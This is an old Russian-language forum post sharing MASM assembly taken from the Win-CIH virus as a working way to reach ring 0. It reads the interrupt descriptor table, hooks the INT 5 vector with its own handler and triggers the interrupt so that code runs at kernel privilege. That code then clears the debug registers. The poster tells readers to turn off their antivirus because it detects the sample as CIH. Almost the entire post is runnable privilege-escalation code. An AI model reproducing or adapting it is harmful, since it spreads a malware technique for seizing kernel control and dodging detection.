Показать сообщение отдельно
Старый 05.01.2004, 18:40     # 8
SpacerV
Guest
 
Сообщения: n/a

f00rd

Кусок из ВИН-ЧИХА работает (круто!), а посему это реальный пример для ухода в 0-е кольцо защиты! Теперь сам код (src: WASM.RU <- http://betov.free.fr/UsersDemos.html), только желательно антивирусы все выключить, а то матюкаются, что ВИН-ЧИХ нашли :

Код:
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««

    .586
    .model flat, stdcall
    option casemap :none   ; case sensitive

; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««

    include \masm32\include\windows.inc
    include \masm32\include\user32.inc
    include \masm32\include\kernel32.inc
    
    includelib \masm32\lib\user32.lib
    includelib \masm32\lib\kernel32.lib
    
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««

    .data 
    
Msg     db      'All debug regs have been reset to zero',0 
Capt    db      'Here we are >:)',0 

; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««

    .code

start:
        push ebp
        ; First save all nessesary startup values 
        ; to restore them after Ring0 code finishes 
        lea eax,[esp-8]
        xor ebx,ebx 
        assume fs:nothing 
        xchg fs:[ebx],eax 
        call @F 
@@: 
        pop ebx 
        lea ecx,StopToRun[ebx] 
        sub ecx,@B 

        push ecx 
        push eax 
        push eax 
        
        ; Load IDT to get the old INT 5 vector 
        sidt qword ptr [esp-2] 
        pop ebx                 ; ebx now points to the start of IDT 
        add ebx,44              ; ebx= 05h*08h+04h ZF = 0, calculating INT 5 vector 
 
        cli 

        mov ebp,[ebx]           ; Get exception base 
        mov bp,[ebx-4]          ; and entry point 
        ; EBP will hold the original INT 5 vector 

        lea esi,ExceptionHook   ; our new exception handler's offset in ESI 

        push esi 

        mov [ebx-4],si          ; Set the new vector 
        shr esi,10h             ; Modify Exception 
        mov [ebx+2],si          ; Entry Point offset 

        pop esi 
        int 5                   ; Generate exception to switch to Ring0 

ReadyRestoreSE: 
        ; Restore everything and proceed to Ring3 code 
        sti 
        xor ebx,ebx 
        jmp RestoreSE 

StopToRun: 
        ; If exception error will occur - here is the handler for it 
        xor ebx,ebx 
        mov eax,fs:[ebx] 
        mov esp,[eax] 

RestoreSE: 
        pop fs:[ebx] 
        pop eax 
        pop ebp 

        ; Here your Ring3 code starts 

        invoke MessageBox,NULL,offset Msg,offset Capt,MB_OK 

        invoke ExitProcess,NULL 

ExceptionHook: 
        ; Here your Ring0 code starts 

        xor eax,eax             ; Set DR[0-3] registers to zero 
        mov DR0,eax 
        mov DR1,eax 
        mov DR2,eax 
        mov DR3,eax 

        mov [ebx-4],bp          ; Restore the old INT 5 vector 
        shr ebp,10h 
        mov [ebx+2],bp 

        iretd                   ; And return back to Ring3 

end start